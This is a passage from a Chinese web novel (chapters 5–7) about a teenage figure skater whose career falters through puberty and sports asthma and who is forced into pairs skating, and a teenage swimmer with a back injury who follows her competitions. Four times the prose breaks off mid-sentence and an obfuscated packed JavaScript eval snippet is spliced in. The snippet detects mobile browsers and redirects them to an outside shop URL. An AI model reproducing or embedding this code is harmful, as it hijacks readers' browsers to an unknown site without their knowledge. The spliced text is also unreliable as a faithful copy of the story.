“希望我能幸运一点,4s和三周套可以回来” 何知澍见到的就是这样的画面,女孩包裹在白色的长款羽绒服里,整个人看起来俨然一副糯米团子的模样。她手里攥着束刚点的香,人太多了她挤不到空位去插,等了好一会才找到空位插上去,着急转身的时候还不小心撞到了一个人。 何知澍的嘴角无意识上扬,如果不是妈妈问,他没意识到自己在笑。 “怎么突然笑了,你看什么呢?” “啊...没事,我在这里等你们就好。” 他目送父母走远,也没再捕捉到那抹白色的身影了。何知澍垂眸笑了笑,也不知道自己为什么会关注起她来。 那天的那张合照他也留下了一张,丁洵提了一句她是别的项目的选手,出自这个缘由他多看了一眼照片里的那个女孩。 体操吗?还是跳水? 可是不对啊,这两个比赛都不在这个赛区。 直到有一天在做理疗,无意撞见了体育热搜的版头,看到了花样滑冰这个冷门项目因为明年有比赛要落地北京上了热搜。起先他真的是不小心误触进去的,抱着好奇心在广场上越刷越多,就看到了这张有点熟悉的脸。 何知澍第一时间反应过来后点去相册拿出那张照片进行了对比,得出这就是一个人的时候他还晃神了一下,不过接着让他愣神的是图片下面发的评论,“嘴下积点德吧,妹妹上赛季还出了四周,花滑运动员发育关赛季受影响是多么正常的事情。” 她原来是花滑运动员吗? 他顺着这个线索顺过去,点进搜索词条看了看她的简介,还找到了她的比赛录像。 花滑这个项目平时在国内的关注度很一般,更别提是青年组,何知澍本来没抱能找到几条高清视频的想法,看录像之前他先去看了评论区,发现一些路人目前是真的在把她当紫微星看待。 他不了解这个项目,所以无法评判她的技术,只是单单作为一个圈外观众和普通欣赏者,何知澍已经大为震撼。 他那天打开来的是上一年青年组的分站赛短节目,看完一整个节目他脑子里只剩下“流水行云”四个字,下一条推送的视频大概就是她因发育关受影响的那场。 摔倒,重新站起,放手一搏的连跳,咬牙完成的旋转,整套节目下来她已经气喘吁吁,摄像刚好拍到了她的眉眼。 懊悔、失落、但还有一颗想继续滑下去的心。 再一看时间,是今年的八月。何知澍复制了视频里的名字打开浏览器,钟梧攸中国花样滑冰运动员。 她今年才只有15岁。 男女的生理构造差异导致运动员在面对发育关时会呈现出悬殊的状况,男生发育后通常意味着体力和爆发力都更上一层楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531653|203705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不绝对但成绩相对会更好一些。因此他对此并没有什么概念,唯一一次印象是来自同省队和自己同龄的一个女运动员,女孩因为痛经和月经周期不规律,这个赛季的比赛成绩几乎报废,教练和她都直叹气。 无助,恐惧,她们真的太难了,可大家却鲜少关注到这些问题。 同为运动员,他生出了些惺惺相惜的意味。 竞技体育会靠一点玄学,所以她是慕名而来雍和宫,来这里求一个大吉吗? 刚想到此处,何知澍抬眸,那抹白色的身影竟就又在他眼前。 她怎么又来了? 何知澍往前靠了两步,隐隐约约听到了她的叹气声,在一片虔诚祈祷的安静人群中她这道叹息声被衬托地得尤为明显。她又拿了一束新的香,烟直往上飘,熏得她眼泪都要落下来了,她又没找到位置插上去。何知澍往她的方向走去,没忍住开口,“这儿有位置。” “啊?” 她转过头来,插上香后一脸茫然地寻找声音的来源,“是你和我说的吗?谢谢你啊。” 钟梧攸没动,目光在他脸上又停留了几秒,想来是觉得眼熟认出他了。 “好巧,又见面了。”何知澍先一步开口,阳光沿着斜斜的屋檐而下打在她脸上,相比那天在体育场还有照片和视频录像里,这还是他第一次靠这么近去看她。 她的气质很好,并不是惊艳的长相,但很耐看。 钟梧攸心里一跳,没想到他认出了自己,随即展露出一个微笑,“是很巧。” “刚刚在那边就看到你了,怎么又回来了一次?” 何知澍看着她展露出的笑颜随着自己的话蔫巴了下去,猜到了半分,“许的愿望被调剂了?” 作为北京本地人,何知澍深知雍和宫这个地方的“灵”实在是太有说法了,所以他一下就有了这个猜测。 对方点了点头。 果不其然。 不知道钟梧攸刚刚许了什么愿望,何知澍只是想到了看到她的比赛录像和网友评论时就很想对她说的那些话。不知道还有没有机会能这么巧再遇到她,之后也只是隔着屏幕看她的比赛了吧。 所以他还是将这些话毫不犹豫地说了出来。 “钟选手,我看过你的比赛,真的很优秀,很好,你可以迈过这一次的。” “你会越来越好的。” 有风拂过,将纷纷落叶分了几叶落在他们肩上和脚边,女孩没有理会,只是拿一双水汪汪的眼睛注视了他很久才嫣然一笑开口说,“你也是,你会越来越好的。” “一直游到海水变蓝哦。” 等何知澍反应过来的时候钟梧攸已经走远了,徒留给他一个扬着马尾的背影。又有风抚过,将他脚边的落叶卷起又放下,发出一点擦擦的声响。 该死的,何知澍不知道自己怎么就把心里话直截了当地说了出来了,也不知道为什么他现在会有种心跳加速的感觉。 那抹白色的身影已经彻底走远,转弯后消失在了他的视野里。 好吧,一切一定可以归结为彼此都是运动员,他们惺惺相惜确实再正常不过了。 何知澍就这样好不容易把自己说服了。 等会,一直游到海水变蓝? 那他是不是也可以合理地怀疑,她也看过了自己的比赛。 5. Ch.5 钟梧攸失眠了。 不是认床,也不是紧张,从今年的休赛季开始她的失眠症状就已经很严重了。每次睡不着就会下意识拿起放在床头柜的手机,反复去搜“运动型哮喘”,浏览器的几篇科普帖子被她翻了千万次,里面的字句她都可以倒背如流。 快要赶上她刚上初中那会痴迷于张爱玲,可以背出大段小说的劲头了。 长久的失眠让钟梧攸这次倒时差并没有特别困难,结束半天的训练后身体上的疲惫并没有给她带来困意,一闭眼脑子里全是前段时间做的那个梦。 在那个梦里,这赛季的波兰站她比的一塌糊涂。 钟梧攸很早就黑了房间的灯,在数羊数到了第三百只时她缴械投降,搂紧被子叹了口气认命般地去够放在另一边的手机。手机屏幕的亮光在黑暗中把她的脸色照的惨白,她强迫自己去把浏览器卸载,点开了绿色的小说软件。 打开竞技体育的关键词筛选,找到了篇文笔还不错的小说。 看到第三章,再回过头去看简介,钟梧攸多年的阅文经验让她深谙其道,看来这是一篇彻头彻尾的爽文啊。 要是她的职业生涯也这样爽...... 那就太好了。 上床之前她开了纱窗透气,风把窗帘布吹得鼓起又蔫下,钟梧攸强忍着不适看了半章就放下了手机,翻过身平躺着。她整个人面朝天花板,伸出手掌按在胸前。一呼一吸很顺畅,心跳也平稳有力:没有在进行剧烈运动,但总感觉有头小兽死死抓住了她的咽喉。 凌晨两点多快三点,钟梧攸终于睡着了。 她居然梦到了自己在游泳,在漫无边际的大海里。 这里没有对手,她也没觉得有双无形的手箍在她的咽喉处。水的温度很温暖,她游得很慢,很畅快,每一次伸手凫水她都能感受到水流滑过她皮肤的细腻触感,感觉自己像在被水环抱着。 紧接着闹钟响了,钟梧攸掀开被子坐在床头,将头埋在膝盖上,梦中在水里的舒适感已经烟消云散,取而代之的是心上那一团熟悉的压迫感。 有点心悸。 这种压迫感从休赛季到新赛季的几个月里一直充斥在钟梧攸的胸腔中,训练成果没向好发展,焦虑情绪就会持续下去,她必须得学会和这种感觉共存,绝不能让情绪占上上风。 短节目有两个跳跃出现歪轴的情况,还好都站住了,失去了goe的加成,技术分居于中下游,最终短节目排名第八。 这个排名并不意外。 她和Tara从等分区站起刚准备离开,在出口的过道上被一只从上往下抛来的玩偶兔子砸到了肩膀。 她从青年组出道比赛开始,就有冰迷说她是兔塑长相,她收到的玩偶兔子占据了绝大部分。这只,是给她应援的吗? 钟梧攸接住那只滑落的娃娃,往玩偶抛下的方向看了过去,有个小姐姐摇了摇手里的红色旗帜,看到她望过来后大喊了一声,“梧攸加油哦!” 自由滑还能往前再追一追吧,还不是世界末日。 两日后自由滑,钟梧攸在第一组出场。 场馆的冰面还在清冰,钟梧攸坐在更衣室外的长椅上,盯着自己松着鞋带的冰鞋发呆。 后外点冰三周跳落冰的重心靠后,好在她及时拧了一把,却也导致了她后面的连跳没能连上。钟梧攸找机会补了连跳,起跳时刃歪了,连跳摔倒。 后半程她的跳跃仅凭着肌肉记忆在滑,又摔了一个两周跳。 做联合旋转时她闭着眼,耳边只有冰刀刮过冰面的声音。 冰刀刮过冰面的声音随着最后一个乐点停下,钟梧攸睁开眼,赛场四周的白光一瞬间晃得她的眼睛生疼,眼泪涌出,她来不及掩面,身体本能做出反应举着手臂先向四面观众席鞠了躬。 下场时Tara递来外套给她搭上,“没事的,继续加油。” 不知道是不是错觉,这次等分的时间比以往都要漫长。这绝不是什么好兆头,意味着技术动作有太多需要裁判去看回放了。 分数出来的那一刻钟梧攸什么都没有说,冲摄像机所在的方向点了点头,扯了扯嘴角。 她现在的表情绝对是难看极了。 总分排名居于中下,还有一组选手没出场,她的排名最后大概就是垫底的情况。钟梧攸抱紧了刚从冰面上捡起的一只巨型兔子,和Tara离开。 混采区还是有几个国内而来的记者在,她依次回答了几个问题才离开。 裹上羽绒服,钟梧攸把脸埋在了羽绒服的领口,肩膀忍不住抖了一下。Tara走上前看到的就是一双通红的眼睛,但她没哭出来。 “我没事,走吧。” 刚刚连摔了几次,膝盖在棉裤的包裹下隐隐作痛。钟梧攸倒吸了一口冷气,仰头去看从天上飘下的雨丝,打在她的脸上的触感像是细小的针尖刺过。 啊,是下雨了啊。 大概有那个梦预演了一次的缘故,她居然没有很难受。硬要说是什么感觉的话,整个人像是一条搁浅在岸上的游鱼,气喘不过来。 - 转组的事情Tara是在回国后的那个周末和她提起的。并没有郑重其事地做准备,只是在和她进行完日常训练之后看她小口小口地喝完运动冲剂后若无其事地开口问她,“梧攸,转组到北京训练怎么样?” 钟梧攸最后一口水还没吞下,被呛了一口。她整个人愣住了,在原地静默了半分钟。她其实早有预感Tara迟早会和她提这件事,在上次去北京的俱乐部时她就已经意识到了这一点。 国内的保障体系并不完善,但她现在急需一个医疗保障和科学指导,Tara一个人无法带给她这些。她还在上学,以目前的状况,她还不能决定出她升组以后是否要把重心偏在运动员的职业生涯上,还暂未可知的东西太多,留在国内训练是目前来看最好的办法了。 尚星确实是很好的选择,也方便她参加每一年冰协的集训。 许是刚刚经过了一场高强度的训练,水果味的运动型冲剂并没能压下她舌腔里的铁锈气。 “你不用现在就做出决定。”Tara接过她手里的空瓶子拧好,语气平常,像是在问她今晚的食谱是什么,“教练组提前打过招呼,她们很高兴你去,你可以先提前过去适应一段时间。” “那毕竟是一个俱乐部,拥有一整个团队,医疗条件也不错,可以满足你运动型哮喘需要进行的一系列科学康复。”Tara握住了她发冷的手,“比只有我一个人好,梧攸我相信你。” “我相信你,可以滑出来的。” 北京的深秋远比钟梧攸想象的要干冷,每一道风刮在她脸上都像是刀片在滑过。她拖着行李箱走到冰丝带门口,深吸一口气,喉咙因为干燥而泛起痒意,想要咳嗽。 这里曾是奥运赛场,她未来是否有一天能站在那个地方。 “是钟梧攸选手吗?” “是。”钟梧攸循声回头,是一对穿着黑色羽绒服的男女,她很快认出来这是前国家队双人滑的运动员朱榆成和赵淑君,现在正在协会,集训的时候会出来执教。 “老师好。” “先进去训练吧。” 带着单人滑训练的教练是前国家队单人滑运动员林渊,前两年才退役,因为年龄这个硬伤存在加上旧伤实在是滑不下去了,否 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531654|203705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 则大概还会耗几年。在他退役之后,目前国内的成年男单还没有滑出过比他更好的成绩。 钟梧攸定下了留在北京训练,中学的课程也改为了网课。就这样保持了出租屋和训练馆两点一线的生活半个月过后就是国家队集训的日子,在某天训练中段休息的时候她和教练都被叫去了办公室。 坐在对面的朱榆成直截了当地和他们开口,“你的训练录像和比赛视频我都看过,滑行和旋转都很好。你快升组了吧,现在还有运动型哮喘在,关于你的身体状况和以后,你是怎么想的。” 钟梧攸垂下眼,没说话。 林渊见状笑着说,“老师,你看梧攸处于发育关,这赛季才刚刚开始呢,发育期间成绩不好是常有的事,我们还可以再看看下个赛季。” “哮喘的问题需要很长一段时间调整,以往国内女单选手艰难挺过发育关之后,不都一身伤早早退役了。运动员的生涯等不起你消耗。 “我和协会倒是有个提议。”朱榆成的声线并没有起伏,像是已经拿定了主意。 钟梧攸抬起头,却听到了一个她从没想过的答案。 “改项目,去双人滑。” “双人滑的跳跃难度比单人低,你前面也是出过四周跳的选手,证明你的基础不差。再加上你的柔韧性和身高,考虑到目前队里有个男生刚好缺女伴,你的身高和他挺合适。” 钟梧攸的指甲盖掐进掌心,张了张嘴却又说不出任何话。 运动员用来为自己博弈的资本只有成绩,这个赛季以来她已经失去了这个资本。 没有成绩,谁会看重她? “我不同意。”林渊的声音响起,“既然您提到了以往,以往我们也是有女单换去双人的例子的,结果呢?”林渊的一字一句都咬得很清楚,“给她一点时间,等发育过去,指标稳定了,运动型哮喘有效控制住,她的跳跃不是不能捡回来。” “你在队里待了多久。”朱榆成径直打断了他。 “我待了一辈子。”朱榆成抬眼看向林渊,“队里等不起。梧攸明天开始转去双人滑训练吧。” 林渊和钟梧攸一起走回了冰场,今天的训练已经结束了,现在冰场里只剩下他们两个人。林渊很轻地开口问她,“刚刚都没问你,你愿意吗?” “不愿意,但我没办法。” 林渊对上女孩的眼睛,愿不愿意在队里向来是最无用的缘由,他太清楚其中的门道了。花样滑冰在国内,四个项目都在断档,双人滑青黄不接也不是一天两天的事情了。偏偏现在适龄的孩子只有几个,这赛季的储备选手都到了发育期间,有的女孩已经选择了离开赛场。朱榆成提出来缺女伴会和钟梧攸搭档的男生,是曾经双人滑名将夫妻的儿子,儿子这赛季迟迟找不到女伴,已经成为了夫妻俩的一块心病。 钟梧攸之前一直不在俱乐部训练,但那时候还好是因为她出道时成绩不错,也备受关注,队里也拿不出更好的人。 竞技体育是个说来很复杂的森林,在摆在明面上的规则始终只有一条,成绩不好就是原罪。 这赛季无亮眼的成绩,钟梧攸此时已是戴罪之身。同期有位年龄小她几岁的来自东北区的女娃娃,这两个赛季成绩还不错,协会早就已经把她当宝贝供着了。 而从南方来的,没背景没靠山,竞技状态还正在走下坡路的钟梧攸现在罪加一等,简直是最适合的女伴人选。 出成绩了当然好,没出也会看作是顺其自然的事。 “算了,你以后会知道的。”林渊最终还是没说出这些话。 “但是梧攸,别放弃,别认输。” 这是他的肺腑之言。 6. Ch.6 何知澍其实是被疼醒的。 今天中午明明已经进行过一次理疗了,凌晨一点十七分,他盯着手机锁屏的几个数字,艰难地转过身来变为平躺的姿势,忍不住嘶了一声。 腰那侧此时正像是在被人用刀一下一下地磨过,酸胀之中还带着一记尖锐的刺痛感。腰在全运会之前拉伤,全运会上了接力和蝶泳个项之后近乎是一个动不了的状态了。走向100米蝶的领奖台的脚步都是踉跄的,还需要借上教练靠过来的胳膊自己才能勉强站直。 因此,他也没能站上全运会混合泳的赛场。 腰伤在何知澍这里也不是一天两天的事情了,他十一岁选入北京市市队,在他五年的职业生涯里,腰伤就跟随了他四年。十三岁的一场比赛中拉伤,他只觉得忍忍就好了,疼两天就会好了,谁曾想这玩意至此以后就是一块他怎么甩都甩不掉的狗皮膏药。 何知澍盯着天花板喘气,等着那股疼劲过去。与其说是在等这股来势汹汹的刺痛感过去,更不如说是等身体的神经适应下痛感。他索性打开微博,企图看点什么来转移自己放在腰上的注意力。 波兰和北京相隔七个小时,青年组jpg的女单自由滑刚开赛不久。 何知澍并不是刻意去看的。 只奈何现在手机电脑的数据算法实在是高超,不过是因为他先前搜过几个钟梧攸的比赛视频,现在微博居然开始给自己推花滑比赛的直播了。 会看到她吗? 抱着就只是想去看看她参没参加的一系列心理活动,何知澍点进去了直播间。现在只是在进行上冰热身活动,他一眼就捕捉到了在屏幕里一晃而过的穿着白色裙子的身影。 她参加了啊,那看看吧。 因为腰伤何知澍在下半年并没有比赛要参加,目前的重心都放在了理疗和学业上。偶尔在闲暇时刷刷手机的娱乐时间里,何知澍是有在视频号里刷到过关于钟梧攸的比赛剪辑的。从这些赛场片段,采访以及网友的只字片语中何知澍能猜到这赛季她的状态并没有向好的趋势。 WuYOU Zhong,听到英文播报在念到她的名字时何知澍才重新把注意力放回到直播上。 短节目落后,自由滑第一组出场。 说起来,他和钟梧攸在现实里其实只见过两次而已。不过上次在雍和宫的匆匆一瞥,他就觉得她相比合照里那个时候要瘦了不少。 而现在在直播的镜头一看,在考斯滕一字肩半露背的设计下,她的肩胛骨更是有些突出。 上镜还胖三斤,她也太瘦了些。 不是一个项目的运动员,何知澍并未想到缘由。 仅仅是看过几个比赛录像而已,何知澍对花样滑冰这个项目的技术动作是一无所知,主播解说的什么勾手跳、点冰跳他听不懂,也做不出区分,只知道她有个跳跃好像起歪了最后用手扶冰,后面的连跳直接摔了,后半程又摔了一个。 他的胳膊肘撑在枕头上,整个身体半靠在床头,唇不自觉咬起,静默地看完了整个节目。 女孩一次次摔倒,又一次次站起,做旋转的时候闭着眼睛。 自由滑的选曲何知澍并不陌生,这要得益于何知澍有一个有看舞台剧爱好的母亲。 德奥版的《伊丽莎白》。 最后一个音符落下,伊丽莎白惨遭刺杀身亡,这近乎是一场悲壮的溃败。 屏幕里的女孩终于睁开眼,向四面鞠躬。 然后他看见她哭了。不是那种情绪肆意外露的嚎啕大哭,只是眼泪突然夺眶而出,钟梧攸顾不上也没意识去抬手拭泪。摄像机扫到她的面庞,只露出一双通红的眼睛。直到她下场套好冰刀套走去等分区,才忍不住用双手掩面。 许是神经已经对那股疼劲适应良好,又或者是这套节目和女孩通红的眼睛成功地转移了他的注意力,何知澍只觉得腰那块好像没有那么疼了。 分数出来之后钟梧攸只是没什么表情地点了点头,她勉强扯出微笑的表情何知澍太熟悉了,他在自己的比赛录像里也见过自己这样的神情。 他盯着女孩起身离场的动作,肩膀好像抖了一下,这莫名让他联想到他自己十三岁那年的一场比赛,就是他腰拉伤的那一场。比200米蝶泳转身时腰突然抽了一下,动作从那时候开始变形,最后五十米游得惨不忍睹,触壁抬身,比赛结束时他整个人脱下泳帽趴在泳池的水线上,喘得想吐。 起先并没有意识到事情的严重性,以为是体力不好,高强度运动后乳酸堆积。 国内的男子蝶泳梯队建设相比其他项目来说还算是可观,还有几个a标,但在国际上却没有什么竞争力。何知澍是表现比较亮眼的小将,十五岁那个赛季的何知澍是锋芒毕露的,也因此备受关注。 15岁的少年斩获了全国锦标赛的200蝶金牌,亚青赛的100蝶银牌。 赛后的采访他只是对着镜头说“还行吧。” 还行吧,还要继续努力的地方还有很多,他才十五岁,还要游很多年,说不定自己能游到三十岁呢。 腰伤是在备战全运会时感受到实质性的改变的。 疲劳积累吗? 这次疼起来的感觉相比之前有点太超过了。但他疼起来就只知道晚上回宿舍贴膏药,腰贴过敏起疹子就改成冰敷和针灸,都没用就只能谨慎地吃止痛药。 爸妈支持他走职业,也心疼他。 妈妈说他作死呢。 十六岁的秋天,他在池子里疼得游不下去,趴在岸边缓了很久,大口大口地喘着粗气。队医搀起他去医务室,“去医院拍个片子吧,再查查。” 腰肌劳损,建议休息。 后来他谨遵医嘱还是休息了。从进入市队开始,他就开始了和水共生的日子,在水里过的时间已经占据了他的大半个人生,甚至捆绑了他以后的人生。突然让他不下水,他还有些不习惯。 正逢秋老虎的时节,傍晚闷得人的胸口处透不过气来。何知澍刚从医务室走过来泳池的这条路上后背已经湿了一大片,汗味还掺杂了药油的清香。 是很诡异的味道。 他想赶紧回去洗澡。 游泳馆只有两侧开了大灯,大家已经结束训练去吃饭了。 何知澍坐在池子边,用手拨着池子里的水。打扫卫生的阿姨走过来,“小同学,最近不见你训练呀。 “嗯,最近是没有来。” 以往他是加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531655|203705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 练的最狠的那个,直到锁门的阿姨过来叫他,他才会离开,还会帮阿姨打扫卫生。一来二去,她们已经和他混了个眼熟。 “你也要劳逸结合才是。” “你们是不是快要去比赛了,加油啊。你训练这么认真刻苦我们都看在眼里的,一定可以取得一个好成绩的。” 何知澍笑着点了点头,却连一个好字都发不出声。 全运会的个项确实取得了他比较满意的成绩。 100蝶和200蝶的冠军,可惜上完接力赛后他已经竭尽全力,腰已经不允许他再参加混合泳了。 他还没有定项,全运会本该是参考的重要依据。 何知澍翻了个身,将脸埋进枕头里。在钟梧攸的下一位选手出场之后他就已经退出了直播间。此时他还是摁亮了手机屏幕,点开了主页推荐的页面。 【中国花样滑冰青年组女单战报:钟梧攸排名垫底,职业生涯陷入低迷】 【作为近几年最有希望的一位女单选手,钟梧攸是否能挺过发育关】 #青年组jpg波兰站女单自由滑 #钟梧攸沉湖 果然,运动员最应该远离的东西就是,互联网。 何知澍希望她什么都别看,就算看了也不要走心看进去。他把手机塞在枕头底下,视线放到别的地方开始放空,想些有的没的。 他看过钟梧攸的一次采访,她说自己真的很喜欢滑冰的感觉,也很享受竞技感。“学滑冰吗?最初只是我妈妈觉得这个运动很美,女孩学这个可以培养气质,连运动也可以锻炼韧劲。” 何知澍不由得笑了,只是因为想到了自己学游泳的初衷。 其实职业运动员接触自己项目的原因千奇百怪的。 比如因为父母工作太忙,没时间照顾被丢去了兴趣班学乒乓球,结果打着打着打进了省队;还有体操教练去学校捏了捏胳膊腿,就把人选走了。 但何知澍只是因为年纪小的时候得了一场肺炎住了院。 小孩子大病了这一场之后身体瘦弱,体质又不好,游泳可是个全面的全身性运动,对身体的锻炼非常好。 于是乎,何知澍就这样被父母和教练丢进了水池子里。 被丢进池子里不紧张也不怕水,反倒是有几分“如鱼得水”的自在。 后来每周的课都准时去,游着游着体质真的变好了,游着游着就被市里选上了。 十一岁的人对运动员这个职业并没有什么清晰的认识和概念,就和按部就班上学应该好好上课写作业认真考试一样,何知澍只知道他需要每天认真努力训练,好好比赛。 不过,他是真的喜欢游泳,喜欢在水里的感觉。 下水的那一刻,世界就安静了,他什么都不用想,只需要想怎么样能最快地游到终点。 但时间久了就不是这样了,世界的纷纷扰扰也被连带着绞进了池子里,比如成绩、排名这些本该在岸上的事。 第一次站上国际比赛的领奖台,何知澍就已经知道自己的喜欢已经不再纯粹了。 他不只是喜欢在水里游的感觉,他还想拿冠军,还想为国争光。 他还想游下去,游到游不动为止。 7. Ch.7 何知澍发现自己对花样滑冰这项运动产生了些别样的情愫。 刷到互联网的相关帖子后会停留下来读完,甚至还在社交媒体关注了几个花滑的解说账号,以及路过冰场时自己还会绕过去多看几眼。 周一这一天,何知澍结束了文化课的课程后就赶去了医院做定期理疗,从医院出来后他不想这么快回家,现在也不能下水训练,想到书包里还有几张卷子没做,他决定先找一个地方自习。却忘记了今天周一,图书馆是闭馆状态,坐了好几站地铁看到的就是大门紧闭的图书馆。 竟也不想直接打道回府,于是他打开地图搜索出哪一家星巴克距离自己最近,便又坐了两站地铁去了导航推荐的商场。 做完一套数学卷子后天色已暗,何知澍打算放纵一次,去吃一些平常训练时他并不允许自己去吃的垃圾食品。 生活在北京这样一个人口超过两千万的城市,想要在短时间里再次偶遇到一个人的概率很低,大概只有百万分之一,难度更甚于中彩票。正因为从统计学上出发来看这个概率如此之低,所以当偶遇再度降临的时候,人们就会更倾向将此归结为“缘分”。一旦两个人就此产生了羁绊,之后就会被划定为“命中注定”。 何知澍一下觉得自己和钟梧攸实在是有缘分。 距离上次在雍和宫的匆匆一瞥大概只过了一个月左右,他居然又能在北京见到她。 就在这个商场里的冰场里。 星巴克在一楼的一端,何知澍去另一端的麦当劳取餐。商场一楼最显眼的中心位置是一个商业冰场,路过时何知澍多留意了几眼。可就是这个多留意的举动,让他一眼就注意到了人群中那个格外显眼的少女。 工作日的下午,商场的冰场聚集的大概只有两三种人,报兴趣班的小朋友,只是心血来潮来玩的门外汉,以及真正的滑冰爱好者。 动作漂亮,滑行自如,她是整个场子里最引人注目的一位。 何知澍望过去的时候钟梧攸正在进行贝尔曼旋转的练习。 他对花样滑冰的了解依旧很局限,只是记得他关注的其中一个解说博主在今年这个赛季青年组的一站比赛里曾经这样点评过钟梧攸的旋转,“我们不难看出钟梧攸选手的技术难度受到了发育关的影响,虽然她的跳跃周数有瑕疵,可她的旋转和步法依然没有受到影响,旋转能算得上是目前青年组里一流的水平。” “她的旋转所呈现出来的效果非常轻盈,我们看着不会觉得她是在很费力地提刀旋转,衔接得也很自然,软开很好,上半身无位移。” 冰刀轻轻松松地被她举到头顶,身体随着乐点旋转提刀,裙摆散开又收拢。 坚强,挺拔,她像是一朵剑兰花。 先是冰场周边的几个小朋友停下动作在看,再到后面连路过额行人都在驻足,不过钟梧攸并未注意到这些视线,依旧专注地进行着躬身转的动作。 她的旋转渐渐慢了下来,双手垂下,双腿收住,冰刀在冰面上留下一个若隐若现的小点。周围响起零零碎碎的掌声,钟梧攸停下来喘了会后先是弯腰致谢,又继续投回了自己的世界里。 她接着继续滑。 腿部的动作随着手臂伸展又收拢,在冰面上留下一道道弧线。途中她的脚歪了一下,何知澍以为她要摔倒,但她又很快稳住了轴心继续。 步法过后是跳跃。 阿克塞尔跳是唯一一个向前跳的跳跃,最好辨认,也是何知澍目前唯一能百分百准确辨认出的跳跃动作。 起跳的待机时间很长,摔倒。 不知道是多少次起跳又重新站起,钟梧攸脱力靠在挡板上,仰头喝了几口水之后就弯腰撑着膝盖大口大口地喘着气。 何知澍捏紧了纸袋,纸袋的余温已经散尽了,里面的薯条一会打开肯定已经软趴趴的了。他并未走上前和她打招呼,就和方才被她吸引驻足的行人没什么不同,只在远处那么看着。 钟梧攸只缓了一会,带着还没平复下的不稳定呼吸继续滑了下去。 她依旧专注在自己的世界里,周遭的视线和讨论声并没有影响到她。 何知澍抬起手看了一眼手表,现在是晚上七点半。 也是游泳训练馆快闭馆的时间。 他一投身到自由训练时的状态是不管不顾的,注意力不会被别的东西轻易分散开。大多数的时候所有人都走了,只有他还在反复进行着起跳入水和翻身的训练,有时候保洁阿姨会先不打扰他只给他留一盏灯,有时候会先把他叫起,总之大家都知道何知澍总是最后一个离开训练馆的。 运动员这个身份标签,好像就标志着他们生来就是为了挑战而存在的。 竞技体育被人为冠上了“热血”、“坚持”诸如此类的美好词汇。他们在赛场上的一次次突破,日日夜夜的咬牙坚持,大家会因此感动,会因此热泪盈眶,会在此收获力量。却时常忽略了这条路的规则从不只是优胜劣汰这么简单,还有自成一派的丛林法则。这条路通常违背人的生理机制,也是在透支人的生理健康。 自己究竟能练到什么份上,运动员自己也不知道。 只清楚,“命定的局限尽可用在,不屈的挑战却不可须臾或缺。”。 始终觉得自己有潜力,日复一日地跑在训练场上。 可山巅上只留了一个人的位置,于是只能一边痛苦,一边期待那一天的到来。 何知澍转身往外走,走到商场的门口时他停下来转过身回头,隔着一大段距离,隔着人来人往,钟梧攸已经变为了一道模糊的黑色身影,那个黑色的点还在不停地在白色的冰面上运动。 他等到回家时才打开麦当劳的牛皮纸袋,里面的薯条果然已经凉透变软。 —— 下午在俱乐部的训练结束之后,钟梧攸并不是特地去找了一家商业冰场去训练单人滑,只是买东西路过而已。 第一天双人滑的训练结束,此刻她身心俱疲,但在看到有教练带着在小朋友训练两周跳,只觉得心痒,想下去滑两圈。 换了双冰场提供的冰鞋,当然没有她自己的那双滑起来合脚舒服,她先试了试刃,滑了两圈。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531656|203705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下冰,她就知道自己不是滑两圈那么简单。 先热身好了,这些基础的滑行动作做了十余年,她闭着眼都不会出错,感觉到自己的身子在微微发热,钟梧攸才开始进行旋转和步法的训练。 滑行时带起了一点风,钟梧攸稳住轴心拉开了一个Y字转,接着是蹲踞转的练习。 旋转是她的长项,也是她最喜欢的一个技术动作。 柔软度一部分源于天生,小时候没怎么经历过残忍的压腿她就能轻松地将腿举过头顶,直到现在她的软开一直都保持得很好。在发育的这段时间里体重和身高都在长,跳跃离家出走,所幸旋转没有抛弃她。 这个旋转定住的动作有点晃,钟梧攸不由得叹了一口气。 